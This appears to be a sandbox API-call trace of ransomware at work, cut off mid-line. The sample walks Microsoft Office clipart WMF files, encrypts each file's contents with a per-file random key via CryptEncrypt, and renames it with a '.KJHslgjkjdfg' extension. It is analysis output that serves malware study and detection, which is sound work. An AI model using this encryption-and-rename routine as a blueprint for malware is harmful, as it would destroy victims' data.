GetProcessHeap () returned 0x990000 [0197.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.688] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.688] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0197.691] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.691] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.691] GetProcessHeap () returned 0x990000 [0197.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.691] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.691] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.691] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.691] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.691] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.692] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.692] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.692] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b8e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b8e, lpOverlapped=0x0) returned 1 [0197.693] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8b90, dwBufLen=0x8b90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8b90) returned 1 [0197.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.694] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8b90, lpOverlapped=0x0) returned 1 [0197.694] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.694] SetEndOfFile (hFile=0x130) returned 1 [0197.697] GetProcessHeap () returned 0x990000 [0197.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.697] GetProcessHeap () returned 0x990000 [0197.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.kjhslgjkjdfg")) returned 1 [0197.699] CloseHandle (hObject=0x130) returned 1 [0197.699] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0197.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.700] GetProcessHeap () returned 0x990000 [0197.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.700] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.700] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0197.703] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.703] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.703] GetProcessHeap () returned 0x990000 [0197.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.703] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.703] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.703] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.703] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.703] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.704] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.704] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.704] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.704] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e74, lpOverlapped=0x0) returned 1 [0197.705] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80) returned 1 [0197.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.705] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e80, lpOverlapped=0x0) returned 1 [0197.705] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.706] SetEndOfFile (hFile=0x130) returned 1 [0197.708] GetProcessHeap () returned 0x990000 [0197.708] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.708] GetProcessHeap () returned 0x990000 [0197.708] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.kjhslgjkjdfg")) returned 1 [0197.710] CloseHandle (hObject=0x130) returned 1 [0197.710] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0197.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.713] GetProcessHeap () returned 0x990000 [0197.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.713] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.713] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0197.714] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.714] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.715] GetProcessHeap () returned 0x990000 [0197.715] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.715] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.715] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.715] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.715] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.715] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.715] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.715] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.716] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2182, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2182, lpOverlapped=0x0) returned 1 [0197.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2190, dwBufLen=0x2190 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2190) returned 1 [0197.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.717] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2190, lpOverlapped=0x0) returned 1 [0197.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.717] SetEndOfFile (hFile=0x130) returned 1 [0197.719] GetProcessHeap () returned 0x990000 [0197.719] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.719] GetProcessHeap () returned 0x990000 [0197.719] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.kjhslgjkjdfg")) returned 1 [0197.721] CloseHandle (hObject=0x130) returned 1 [0197.721] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0197.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.723] GetProcessHeap () returned 0x990000 [0197.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.723] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.723] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0197.725] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.726] GetProcessHeap () returned 0x990000 [0197.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.726] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.726] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.727] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x37e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x37e4, lpOverlapped=0x0) returned 1 [0197.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x37f0, dwBufLen=0x37f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x37f0) returned 1 [0197.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x37f0, lpOverlapped=0x0) returned 1 [0197.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.728] SetEndOfFile (hFile=0x130) returned 1 [0197.731] GetProcessHeap () returned 0x990000 [0197.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.731] GetProcessHeap () returned 0x990000 [0197.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.kjhslgjkjdfg")) returned 1 [0197.733] CloseHandle (hObject=0x130) returned 1 [0197.733] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0197.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.734] GetProcessHeap () returned 0x990000 [0197.734] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.734] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.734] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0197.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.736] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.736] GetProcessHeap () returned 0x990000 [0197.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.736] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.736] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, 